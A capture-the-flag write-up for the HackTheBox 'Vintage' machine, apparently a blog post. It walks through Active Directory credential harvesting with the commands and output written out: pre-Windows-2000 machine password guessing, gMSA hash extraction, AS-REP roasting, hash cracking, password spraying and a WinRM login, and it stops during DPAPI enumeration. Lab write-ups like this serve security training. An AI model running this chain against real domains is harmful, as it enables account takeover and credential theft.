Vintage – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Hard
  • Platform: HackTheBox

Avatar vintage


Synopsis Link to heading

“Vintage” is a Hard machine from HackTheBox platform. This machine teaches how hashes for old legacy machines can easily be retrieved and be used to move internally in an Active Directory domain. Additionally, we learn how to enable disabled service accounts (if we have permissions over these accounts), leverage DPAPI and change permissions to service accounts to perform a Constrained Delegation attack to request a Kerberos ticket in behalf of a privileged user.


User Link to heading

Info
As is common in real life Windows pentests, we start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123

Starting with an Nmap scan shows multiple ports open: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 Server Message Block (SMB), 5985 Windows Remote Management (WinRM); among others:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49670,49681,62654 10.10.11.45

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 00:37 -03
Nmap scan report for 10.10.11.45
Host is up (0.43s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-11 03:37:26Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49681/tcp open  msrpc         Microsoft Windows RPC
62654/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-12-11T03:38:24
|_  start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.75 seconds

First, let’s check the information we get get with our provided user and NetExec for SMB service:

❯ nxc smb 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123'

SMB         10.10.11.45     445    10.10.11.45      [*]  x64 (name:10.10.11.45) (domain:10.10.11.45) (signing:True) (SMBv1:False)
SMB         10.10.11.45     445    10.10.11.45      [-] 10.10.11.45\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

We get the error STATUS_NOT_SUPPORTED. Checking Microsoft Documentation for this error this means, basically, that the server’s response does not understand or is unable to process the specific type of information the client is trying to modify/request.

If we pass these credentials using NetExec as well, but through LDAP service we get some info:

❯ nxc ldap 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123'

LDAP        10.10.11.45     389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.45     389    dc01.vintage.htb [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

We obtain a domain vintage.htb and a FQDN dc01.vintage.htb.

Let’s add dc01, dc01.vintage.htb and vintage.htb to our /etc/hosts file then:

❯ echo '10.10.11.45 dc01 dc01.vintage.htb vintage.htb' | sudo tee -a /etc/hosts

Since we don’t have clear responses from SMB or LDAP services, let’s try to use Kerberos. For this, request the ticket for the current user using its credentials and getTGT.py:

❯ impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in P.Rosa.ccache

and use this ticket to authenticate through Kerberos for a service like SMB with NetExec. For this, since the ticket will store the domain name, use the FQDN as the IP address and specify the domain:

❯ KRB5CCNAME=P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa from ccache

It worked.

Now we are able to see some stuff like shared resources:

❯ KRB5CCNAME=P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb --shares

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa from ccache
SMB         dc01.vintage.htb 445    dc01             [*] Enumerated shares
SMB         dc01.vintage.htb 445    dc01             Share           Permissions     Remark
SMB         dc01.vintage.htb 445    dc01             -----           -----------     ------
SMB         dc01.vintage.htb 445    dc01             ADMIN$                          Remote Admin
SMB         dc01.vintage.htb 445    dc01             C$                              Default share
SMB         dc01.vintage.htb 445    dc01             IPC$            READ            Remote IPC
SMB         dc01.vintage.htb 445    dc01             NETLOGON        READ            Logon server share
SMB         dc01.vintage.htb 445    dc01             SYSVOL          READ            Logon server share

This also works through LDAP service:

❯ KRB5CCNAME=P.Rosa.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb

LDAP        dc01.vintage.htb 389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\P.Rosa from ccache

So let’s use this service to obtain some info about the Active Directory environment using bloodhound-python and the ticket obtained:

❯ KRB5CCNAME=P.Rosa.ccache bloodhound-python -c ALL -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -dc dc01.vintage.htb -ns 10.10.11.45 -k

INFO: Found AD domain: vintage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The DNS query name does not exist: FS01.vintage.htb.
INFO: Done in 00M 59S

From the output we can see it is also trying to resolve FS01.vintage.htb. We guess this is another machine in the domain.

Just to check if this is a machine account and exists, we can create a simple list and then use Kerbrute. First, create a really simple list:

❯ echo -n 'nonvalid$\nFS01$' > potential_machines.txt

❯ cat potential_machines.txt

nonvalid$
FS01$

and use Kerbrute to see if the account exists:

❯ kerbrute userenum -d vintage.htb --dc dc01.vintage.htb ./potential_machines.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/11/24 - Ronnie Flathers @ropnop

2024/12/11 01:19:39 >  Using KDC(s):
2024/12/11 01:19:39 >   dc01.vintage.htb:88

2024/12/11 01:19:40 >  [+] VALID USERNAME:       FS01$@vintage.htb
2024/12/11 01:19:40 >  Done! Tested 2 usernames (1 valid) in 0.519 seconds

So, as expected,the machine account FS01$ exists. We might keep this in mind since, if we gain access to the victim machine, we can get the IP address of this new machine.

Bloodhound time. Upload all the generated .json files by bloodhound-python into Bloodhound (in this case we will use the Community Edition, or CE). P.Rosa user shows nothing.

Vintage 3

However, if we search for FS01$ account machine we get something:

Vintage 1

This computer/machine, besides being a member of Domain Computers, is also a member of Pre-Windows 2000 Compatible Access. This group also provides a description: A backward compatibility group which allows read access on all users and groups in the domain. Searching more about this group leads to this blog where they give more details about it and its risks. Basically, this group was designed to be compatible with Windows NT, and, therefore, it gives full read permissions over its members to avoid problems. Since we have full read permissions over it we could request hashes or tickets for its members.

Additionally, FS01$ has ReadGMSAPassword rights over GMSA01$ account, which means we could extract its hash/ticket:

Vintage 2

But we still need FS01$ credentials. Searching a little bit, we find a tool called pre2k-TS, that can be obtained from its Github repository, which is a Python script. Clone it, create a virtual environment, and pass a file that contains FS01$ string:

❯ git clone https://github.com/garrettfoster13/pre2k-TS.git

<SNIP>

❯ cd pre2k-TS

❯ python3 -m venv .venv_pre2k

❯ source .venv_pre2k/bin/activate

❯ pip3 install -r requirements.txt

❯ echo 'FS01$' > pre2k_machine.txt

❯ python3 pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -input pre2k_machine.txt -save

                                ___    __                __
                              /'___`\ /\ \              /\ \__
 _____   _ __    __          /\_\ /\ \\ \ \/'\          \ \ ,_\   ____
/\ '__`\/\`'__\/'__`\ _______\/_/// /__\ \ , <    _______\ \ \/  /',__\
\ \ \L\ \ \ \//\  __//\______\  // /_\ \\ \ \\`\ /\______\\ \ \_/\__, `\
 \ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\/______/ \ \__\/\____/
  \ \ \/  \/_/ \/____/         \/_____/   \/_/\/_/          \/__/\/___/
   \ \_\
    \/_/                                        @garrfoster

Reading from pre2k_machine.txt...
Testing started at 2024-12-11 03:01:10.864261
Saving ticket in FS01$.ccache
[+] VALID CREDENTIALS: vintage.htb\FS01$:fs01

We got credentials: FS01$:fs01, and also a Kerberos ticket FS01$.ccache.

Optionally, we could get the Kerberos ticket, or Ticket-Granting Ticket (TGT), using impacket-getTGT with the credentials found:

❯ impacket-getTGT  -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in FS01$.ccache

We can check if this ticket works using NetExec:

❯ KRB5CCNAME=FS01\$.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\FS01$ from ccache

To obtain GMSA01$ hash we use NetExec and its --gmsa flag for LDAP service:

❯ KRB5CCNAME=FS01\$.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb

LDAP        dc01.vintage.htb 389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\FS01$ from ccache

❯ KRB5CCNAME=FS01\$.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb --gmsa

LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] LDAPs connection to ldaps://dc01.vintage.htb failed - (104, 'ECONNRESET')
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] Even if the port is open, LDAPS may not be configured

But we get some errors.

Therefore, we could also attempt to abuse this permission with bloodyAD (install it with pip3 install bloodyAD) using instructions from TheHackerRecipes:

❯ KRB5CCNAME=FS01\$.ccache bloodyAD --host dc01.vintage.htb -d vintage -k get object 'GMSA01$' --attr msDS-ManagedPassword

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
msDS-ManagedPassword.B64ENCODED: rbqGzqVFdvxykdQOfIBbURV60BZIq0uuTGQhrt7I1TyP2RA/oEHtUj9GrQGAFahc5XjLHb9RimLD5YXWsF5OiNgZ5SeBM+WrdQIkQPsnm/wZa/GKMx+m6zYXNknGo8teRnCxCinuh22f0Hi6pwpoycKKBWtXin4n8WQXF7gDyGG6l23O9mrmJCFNlGyQ2+75Z1C6DD0jp29nn6WoDq3nhWhv9BdZRkQ7nOkxDU0bFOOKYnSXWMM7SkaXA9S3TQPz86bV9BwYmB/6EfGJd2eHp5wijyIFG4/A+n7iHBfVFcZDN3LhvTKcnnBy5nihhtrMsYh2UMSSN9KEAVQBOAw12g==

We got the NTLM hash for GMSA01$ machine account.

Now, as we have learned, this machine does not directly accepts username/password, but Kerberos tickets. So, as we have done previously, request a Kerberos ticket for GMSA01$ user with impacket-getTGT:

❯ impacket-getTGT vintage.htb/'GMSA01$' -hashes ':a317f224b45046c1446372c4dc06ae53' -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in GMSA01$.ccache

And check, again, that this ticket works:

❯ KRB5CCNAME=GMSA01\$.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\GMSA01$ from ccache

Back to Bloodhound we see what this new user/machine account can do:

Vintage 4

It has AddSelf and GenericWrite permissions over ServiceManagers group. Therefore, we could add our first user P.Rosa to this group.

We can also see what can do ServiceManagers group over other users (so it is worth adding P.Rosa to this group):

Vintage 5

Members of ServiceManagers group have GenericAll rights over svc_ark, svc_sql and svc_ldap. With this we could change the password of these users, request their hashes through a Shadow Credentials attack or attempt to make these users Kerberosteables.

Since bloodyAD worked perfectly with the tickets we will use this tool again to add P.Rosa member to ServiceManager group:

❯ KRB5CCNAME=GMSA01\$.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'ServiceManagers' 'P.Rosa'

[+] P.Rosa added to ServiceManagers

These are services accounts I personally never recommend to change their passwords, since we could disrupt some service if we do it. So we can attempt a Shadow Credentials attack and, if this does not work, make these users Kerberosteables. For the first attack, we clone PyWhisker, install all dependencies in a virtual environment, use an old commit of it (since some updates don’t work very well) and execute it:

❯ git clone https://github.com/ShutdownRepo/pywhisker.git

<SNIP>

❯ cd pywhisker

❯ git checkout ec30ba5

Note: switching to 'ec30ba5'.
<SNIP>

❯ python3 -m venv .venv_pywhisker

❯ source .venv_pywhisker/bin/activate

❯ pip3 install -r requirements.txt

<SNIP>

❯ KRB5CCNAME=P.Rosa.ccache python3 pywhisker.py -d vintage.htb --dc-ip dc01.vintage.htb -u 'P.Rosa' -k --target 'svc_sql' --action 'add'

[!] Error while anonymous logging into vintage.htb

But we get an error in LDAP similar as we obtained for NetExec (which we can see adding -v to PyWhisker).

Then, let’s attempt to make these targets Kerberosteables using bloodyAD following these steps. First, we need to request the ticket for P.Rosa again after adding this user to ServiceManagers group again with impacket-getTGT. The difference is that this ticket now will be “updated” and P.Rosa will be a member of ServiceManagers group:

❯ impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in P.Rosa.ccache

Then, attempt to make the three service accounts available Kerberosteables with bloodyAD in a Bash oneliner:

❯ for service in {ark,sql,ldap}; do echo "[+] Attempting with svc_$service"; KRB5CCNAME=./P.Rosa.ccache bloodyAD -d vintage.htb -k --host dc01.vintage.htb add uac "svc_$service" -f DONT_REQ_PREAUTH; done

[+] Attempting with svc_ark
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ark's userAccountControl
[+] Attempting with svc_sql
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_sql's userAccountControl
[+] Attempting with svc_ldap
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ldap's userAccountControl

Save all the users into a file:

❯ echo -e 'svc_ark\nsvc_sql\nsvc_ldap' > svc_accounts.txt

❯ cat svc_accounts.txt

svc_ark
svc_sql
svc_ldap

Then, use GetNPUsers.py from Impacket to see if this worked:

❯ impacket-GetNPUsers -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile svc_accounts.txt -no-pass -outputfile svc_acc_hashes

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

$krb5asrep$23$svc_ark@VINTAGE.HTB:851d22f6b1f287a72b214849a72f8f46$8a50aa850d7308d6395263f38eb6055edb7183497cf2efb3b1ae36519e78afe32d62237d5a4082bb46b1c1e6c6f91c9411a068a699af45812704edc1c96e089d8480dade56b2c51591464b0c35c7e6e765dc4383fb10b1deec223694148d250e8b015cfb109f28b85ae8aec3a489bbda22a9e0dcc8905cc11a15ec144cc2aa351422da6c01b9fe547e4b0443c83a799e9dda729dd51996a4de10a427cffb273fd9e9b61ce3a766c0a2c46426ff9df9de57e7dc24c36b7de72aabbca5b8ae2d724e4c3f22fc1f971a0056c6d83ec78f5845ccd6f467a34e85911bc28ec2c0761ac139b3ae5c0f207f3203
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$svc_ldap@VINTAGE.HTB:de181c54e1f1fa909b445dfafe21c00b$ba8f456c051f20a08d01c43d4a03834c772b69410e79acc9040a30be30fdcaa860052fedc9c0c00bba53dcbfa85f86441916057cfad0fa62ae5336895c9603b9825a129de10d22c97cd4103376e1c0c99138608a73fc4c03dcd6d5036f763771994c7f128e69d79fd8d30ca9d0a5a774b19b48c433a3290672e06b75e5b0739cfe1a22851f5752910a2c2b7aa586a7776577c2714b53dbc9f7a2df53937555cb35a0ad6342f739427d44f893ad80fd57fcdcf3a275fc820790ba5031890f81c4172a5894f1ca93754b1208375d49bab0cea9c79b51fd0dc6ffe7f450b10494bcf0333607e15ed619d4f7

This worked for all, except for svc_sql account.

Searching by KDC_ERR_CLIENT_REVOKED leads to this page. There they say this error indicate this account might be disabled, locked or expired. We could try to enable it again, since we have GenericWrite over svc_sql and we can edit its AD DCL to change permissions:

❯ KRB5CCNAME=./P.Rosa.ccache bloodyAD --host dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k remove uac svc_sql -f ACCOUNTDISABLE

[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl

and now we can get the hashes for all the accounts:

❯ impacket-GetNPUsers -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile svc_accounts.txt -no-pass -outputfile svc_acc_hashes

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

$krb5asrep$23$svc_ark@VINTAGE.HTB:77b89b0796c4903b9f1226fa7355c11d$d9851d61d3302b76e97275a1dfaf9b594fa911fd27a7d644e650718efd8a87a0e6df6f3baaf960a41a5d9bbaae857670c9c3facf310b6c7fe62438be1aaf8fd6908db4ace4807dc8fac229f4ac8dbcf3d7580e89a8abf82799260fc776f3872a6b2c3e31c5e604785d06553e9ae9cbb5cf6ffe7bd8877bc621fba4ac663b1a17b4d850a64a666e021a60931b96e55a35baa3e1833a5a01391f6b587df2a16a3828210cbdb0777fa1f93a7cb36002028a8726cfd40cafd8efc1d7ff8612875611676b4d7c8abe753ac7d1161059a916fea66204b0586450316b7aecdc33ff964ae45eeb221a5956b29a48
$krb5asrep$23$svc_sql@VINTAGE.HTB:fe9803f611a9551b6badcf401804687b$d13bcf4afdfd461c5399e8b72d0a5a5fcde2d1338a74d7be2fc23b938a7c3fecdcdba19f8032dfa39d758d8b0e0a05d80006195ea57a7bfd26ae6651c6522e9f764b214ec13a7d9e1ce02cf953419487e81c400722843011797ee4d4d6b2e9b701bfd4624b3473d556daabb737d24ca6cb28724f55ccd3cb18f0f2799e7dba3179ac8450dbf382668bf8b5a48061164884958783a8da2fefc2fefb45487509b807fd32a58dbec552174c9eed3b6edb54e06ad003350c994235709dc6e0ade45b6100b4ef1af3d8ffd5c668088b0d06824784754ff069bf109404a9ccd57cf0193ad3784028be5c560657
$krb5asrep$23$svc_ldap@VINTAGE.HTB:b76171b08ab5c02b5320b8fdf22e9f11$637d5c01fb8687faf076e35b2be71bc4c849c085390000dec28840826de2ccf3b25aa20c11fea0e2228a8bdaedf1c058873ea376a5a17f5065f734426500796672cf22ec1ee5b3519f4ba9583d400cb4f542ae3ef5733854b706c39a8be4bcaa2e0984e8a9d218a9cc449bf85eb66f039b935a149e2175f594729da41b3702d5cddc86bf2bc3a7cfcbb933d2d43dd79d7ca9147876138f271e42ace111d2baeb17d7eb91712bc7f3a4c712826552ea8b080d76e2ec18b948be74831a3d4379d047f1b3e3858a12419f91746493d732179d28e8a111026aeccfda5132cb974254c293bce9df1255c97072

Then, attempt a Brute Force Password Cracking with john:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt svc_acc_hashes

Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne       ($krb5asrep$23$svc_sql@VINTAGE.HTB)
1g 0:00:02:28 DONE (2024-12-11 04:49) 0.006718g/s 96370p/s 199723c/s 199723C/s  0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We find credentials for svc_sql account: svc_sql:Zer0the0ne.

We can go back to Bloodhound and check if this user has something interesting:

Vintage 6

But does not have any rights over other users or does not belong to a privileged group.

Maybe this password is being used by some of the users in the domain. We can use the ticket of any user (for example, P.Rose) in NetExec to obtain all the users with --rid-brute flag for SMB service and save them into a file:

❯ KRB5CCNAME=./P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache --rid-brute | grep 'User' | awk '{print $6}' | awk -F '\' '{print $2}'  > domain_users.txt

❯ cat domain_users.txt

Administrator
Guest
krbtgt
Domain
Protected
DC01$
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

And attempt a Password Spray against these users with the password found for svc_sql. The problem is we can only use Kerberos and NetExec does not provide an option with passwords without a ticket. We can then use again Kerbrute and its passwordspray command to perform this:

❯ kerbrute passwordspray domain_users.txt 'Zer0the0ne' -d vintage.htb --dc dc01.vintage.htb

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/11/24 - Ronnie Flathers @ropnop

2024/12/11 05:03:11 >  Using KDC(s):
2024/12/11 05:03:11 >   dc01.vintage.htb:88

2024/12/11 05:03:13 >  [+] VALID LOGIN:  C.Neri@vintage.htb:Zer0the0ne
2024/12/11 05:03:13 >  Done! Tested 19 logins (1 successes) in 1.881 seconds

Got credentials: C.Neri@vintage.htb:Zer0the0ne

Obtain a TGT for this user:

❯ impacket-getTGT vintage.htb/C.Neri:Zer0the0ne -dc-ip 10.10.11.45

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in C.Neri.ccache

❯ KRB5CCNAME=./C.Neri.ccache nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache

SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\C.Neri from ccache

We could check if this user can log in through WinRM with evil-winrm using its -r flag (see documentation of this tool for more info). But we need to add some parameters to it. I created a Python script that creates a backup of /etc/krb5.conf file (the one needed to log in with evil-winrm) and then adds a configuration based on a domain and a Domain Control machine name:

#!/usr/bin/python3
# This script creates a copy/backup of '/etc/krb5.conf' file and then overwrites it
# based on a domain name and a machine name.
# For example: python3 evil-winrm_kerberos.py domain.local dc01
# REQUIRES ROOT since it is overwriting a file at '/etc' path.
import os
import sys
import argparse
import re
import shutil


def create_config_file(domain: str, dc: str) -> str:
    """
    Creates text for /etc/krb5.conf file

    :param domain: Domain to write and connect with evil-winrm
    :param dc: Domain Controller machine name
    """
    text_to_write = f"""
[libdefaults]
        default_realm = {domain.upper()}
[realms]
         {domain.upper()} = {{
                 kdc = {dc.lower()}.{domain.lower()}
                 admin_server = {dc.lower()}.{domain.lower()}
       }}
[domain_realm]
          {domain.lower()} = {domain.upper()}
          .{domain.lower()} = {domain.upper()}
"""
    return text_to_write 


def copy_file(source_path, destination_path):
    """
    Copies a file from source_path to destination_path.

    :param source_path: The path of the file to be copied.
    :param destination_path: The path where the file should be copied to.
    """
    try:
        if os.path.exists(destination_path):
            print(f"[!] Error: The backup file '{destination_path}' already exists. Check you are not overwriting an old backup that can be important or delete that file and retry.")
            sys.exit(1)
        shutil.copy(source_path, destination_path)
        print(f"[+] Backup created at {destination_path!r}.")
    except FileNotFoundError:
        print(f"[!] Error: The source file '{source_path}' does not exist.")
    except PermissionError:
        print(f"[!] Error: Permission denied when accessing '{destination_path}'.")
    except Exception as e:
        print(f"[!] An unexpected error occurred: {e}")


def ask_user(question: str)->bool:
    """
    Ask yes/no to a user to continue

    :param question: Question... :D
    """
    print(f"[?] {question} ", end='')
    user_input: str = str(input("[Y]es/[No]: ").strip())
    positive_pattern: re.Pattern = re.compile(r'^(y|ye|yes)$', re.IGNORECASE)
    negative_pattern: re.Pattern = re.compile(r'^(n|no)$', re.IGNORECASE)

    if positive_pattern.match(user_input):
        return True
    if negative_pattern.match(user_input):
        return False
    print("[-] It wasn't so hard. It was just 'yes' or 'no'... So I am taking that as a no.")
    return False


def check_being_exec_as_root():
    """
    Check if the script is being executed as root
    """
    if os.geteuid() != 0:
        print(f"[!] This script must be executed as 'root'. Read the source code if you don't trust me.")
        print(f"    Please run: sudo python3 {' '.join(sys.argv)}")
        sys.exit(1)


def get_user_arguments()->argparse.Namespace:
    # Create an ArgumentParser object
    parser = argparse.ArgumentParser(description="Configure krb5.conf for evil-winrm")

    # Add a positional argument
    parser.add_argument("domain", help="Domain Name. Example: vintage.htb")
    parser.add_argument("dc", help="Domain Controller Name: Example: dc01")

    # Return the parsed arguments
    return parser.parse_args()


def modify_file(args: argparse.Namespace, data_to_write: str, 
                krb5_conf_file: str = '/etc/krb5.conf', backup_file='/etc/backup_krb5.conf'):
    # Show the text that will be written
    print(f"[+] The following data/text will be OVERWRITTEN at {krb5_conf_file!r}:\n{data_to_write}")
    # Ask the user before proceeding
    if not (ask_user("Would you like to continue?")):
        sys.exit(1)
    # Createa backup
    copy_file(krb5_conf_file, backup_file)
    # Write the file
    try:
        with open(krb5_conf_file, "w") as f:
            f.write(data_to_write)
        print(f"[+] {krb5_conf_file!r} has been configured")
    except Exception as e:
        print(f"[!] Error writing to {krb5_conf_file!r}: {e}")
        sys.exit(1)
    print(f"[+] Finally, after exporting your Kerberos ticket, to execute evil-winrm with Kerberos just run:\n    evil-winrm -i {args.dc.lower()} -r {args.domain.upper()}")
    return


def main():
    """
    MAIN
    """
    # Get user arguments
    args: argparse.Namespace = get_user_arguments()
    # Since this script needs "root" permissions, check if it is being executed with these permissions
    check_being_exec_as_root()
    # Create the data that will be writen into config file
    krb5_file_data = create_config_file(args.domain, args.dc)
    # Create a backup and modify original krb5 config file
    modify_file(args, krb5_file_data)

        
if __name__ == "__main__":
    main()

Execute it (requires privileges since it will overwrite /etc/krb5.conf file):

❯ sudo python3 evil-winrm_kerberos.py vintage.htb dc01

[+] The following data/text will be OVERWRITTEN at '/etc/krb5.conf':

[libdefaults]
        default_realm = VINTAGE.HTB
[realms]
         VINTAGE.HTB = {
                 kdc = dc01.vintage.htb
                 admin_server = dc01.vintage.htb
       }
[domain_realm]
          vintage.htb = VINTAGE.HTB
          .vintage.htb = VINTAGE.HTB

[?] Would you like to continue? [Y]es/[No]: y
[+] Backup created at '/etc/backup_krb5.conf'.
[+] '/etc/krb5.conf' has been configured
[+] Finally, to execute evil-winrm with Kerberos just run:
    evil-winrm -i dc01 -r VINTAGE.HTB

If you don’t want to run the script, you just can copy the text printed and replace it on your /etc/krb5.conf file. But always remember to create a backup for anything.

Once done, we can check if we can log in to evil-winrm as this user providing the ticket as well:

❯ KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01 -r VINTAGE.HTB

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami

vintage\c.neri

We can read the user flag at this user’s Desktop.


NT Authority/System - Administrator Link to heading

Sometimes, after using evil-winrm I got the error message:

malloc(): unaligned fastbin chunk detected
[1]    234799 IOT instruction  KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01 -r VINTAGE.HTB

We upload a netcat binary and send us a reverse shell with that binary. Now, even if the evil-winrm connection dies, we can still work on a terminal.

This user does not present anything interesting:

PS C:\Users\C.Neri\Documents> whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

We eventually see we can abuse Data Protection API (DPAPI). We know this because we eventually can see the hidden directory:

PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\

Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\


